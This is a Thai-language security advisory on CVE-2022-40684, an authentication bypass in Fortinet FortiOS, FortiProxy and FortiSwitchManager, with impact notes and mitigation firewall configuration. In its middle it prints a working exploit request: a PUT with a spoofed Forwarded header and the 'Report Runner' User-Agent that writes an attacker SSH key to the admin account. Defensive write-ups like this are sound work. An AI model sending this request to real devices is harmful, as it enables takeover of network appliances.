CVE-2022-40684

Dec 02 2022
เกี่ยวกับช่องโหว่ CVE-2022-40684 เป็นช่องโหว่บายพาสการตรวจสอบสิทธิ์ในผลิตภัณฑ์ Fortinet บางตัว เช่น FortiOS, Fortiproxy และ FortiSwitchManager ซึ่งหมายความว่า การใช้ช่องโหว่นี้ทำให้ผู้โจมตีสามารถข้ามการตรวจสอบสิทธิ์และเข้าสู่ระบบในฐานะผู้ดูแลระบบได้

เกี่ยวกับช่องโหว่

CVE-2022-40684 เป็นช่องโหว่บายพาสการตรวจสอบสิทธิ์ในผลิตภัณฑ์บางอย่างของ Fortinet เช่น FortiOS, Fortiproxy และ FortiSwitchManager ซึ่งหมายความว่า การใช้ช่องโหว่นี้ทำให้ผู้โจมตีสามารถข้ามการตรวจสอบสิทธิ์และเข้าสู่ระบบในฐานะผู้ดูแลระบบได้ คะแนนพื้นฐานสำหรับช่องโหว่นี้คือ 9.8 ทำให้มีความสำคัญอย่างยิ่ง ก่อนที่จะดำเนินการต่อไปเรามาทำความเข้าใจว่าผลิตภัณฑ์เหล่านี้คืออะไร:

  1. FortiOS: ตามชื่อที่บ่งบอกว่า FortiOS ซึ่งเป็นระบบปฏิบัติการเครือข่ายของ Fortinetเป็นหัวใจสำคัญของ Fortinet Security ระบบปฏิบัติการนี้เป็นแกนหลักของ Security Fabric และเชื่อมโยงส่วนประกอบทั้งหมดเข้าด้วยกันเพื่อให้แน่ใจว่ามีการผสานรวมที่แน่นแฟ้นทั่วทั้งการปรับใช้ทั้งหมดขององค์กร
  2. FortiProxy: เป็นเว็บพร็อกซีที่ปลอดภัยซึ่งปกป้องพนักงานจากการโจมตีทางอินเทอร์เน็ตโดยใช้เทคนิคการตรวจจับหลายอย่าง เช่น การกรองเว็บ
  3. FortiSwitchManager (FSWM) เป็นแพลตฟอร์มการจัดการในสถานที่สำหรับผลิตภัณฑ์ FortiSwitch หน่วย FortiSwitch เชื่อมต่อกับ FortiSwitch Manager ผ่านเครือข่ายเลเยอร์ 3 คุณสามารถกำหนดค่าหน่วย FortiSwitch จำนวนมากได้ด้วยแพลตฟอร์ม FortiSwitch-management-only นี้

ผลกระทบ

จุดบกพร่องจะอนุญาตให้ผู้ใช้ที่ไม่ได้รับการตรวจสอบสิทธิ์ดำเนินการโดยตรงบนแผงการดูแลระบบผ่านคำขอ HTTP/S บางวิธี (วิธีการอาจเป็น GET, POST, DELETE เป็นต้น) การมีบทบาทผู้ดูแลระบบอาจทำให้เกิดเหตุการณ์ต่อไปนี้:

  1. ควบคุมการเข้าควบคุมแอปพลิเคชันทั้งหมด
  2. การเข้าถึงโครงสร้างพื้นฐานภายใน
  3. การเพิ่มหรือลบผู้ใช้
  4. การเปิดเผยข้อมูลที่ละเอียดอ่อน
  5. แก้ไขคีย์ SSH ของผู้ใช้ที่เป็นผู้ดูแลระบบเพื่อให้ผู้โจมตีเข้าสู่ระบบที่ถูกบุกรุกได้
  6. การดัดแปลงไฟล์ปรับแต่งต่างๆ เป็นต้น

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 โฮสต์: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected] \”” }

  • การใช้ส่วนหัวที่ส่งต่อ ผู้โจมตีสามารถตั้งค่าclient_ipเป็น “127.0.0.1”
  • การตรวจสอบความถูกต้องของ "การเข้าถึงที่เชื่อถือได้" ยืนยันว่าclient_ipคือ "127.0.0.1" และUser-Agentคือ "Report Runner" ซึ่งทั้งคู่อยู่ภายใต้การควบคุมของผู้โจมตี

“การค้นหาวิธีแก้ไขสำคัญกว่าการหาข้อผิดพลาด”

ต่อไปนี้เป็นการแก้ไขบางส่วนเพื่อปกป้ององค์กรจาก CVE-2022–40684:

  1. การยกระดับผลิตภัณฑ์ที่ได้รับผลกระทบ
    อัปเกรดเวอร์ชัน FortiOS เป็น ≥7.2.2 และ ≥7.0.7
    อัปเกรดเวอร์ชัน FortiProxy เป็น ≥7.2.1 และ ≥ 7.0.7
    อัปเกรด FortiSwitchManager เวอร์ชัน ≥7.2.1 และ ≥7.0.1
  2. ปิดใช้งานอินเทอร์เฟซการดูแลระบบ http/https บน FortiOS, FortiProxy และ FortiSwitchManager
  3. สำหรับ FortiOS ให้จำกัดที่อยู่ IP ที่สามารถเข้าถึงอินเทอร์เฟซการดูแลระบบ
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end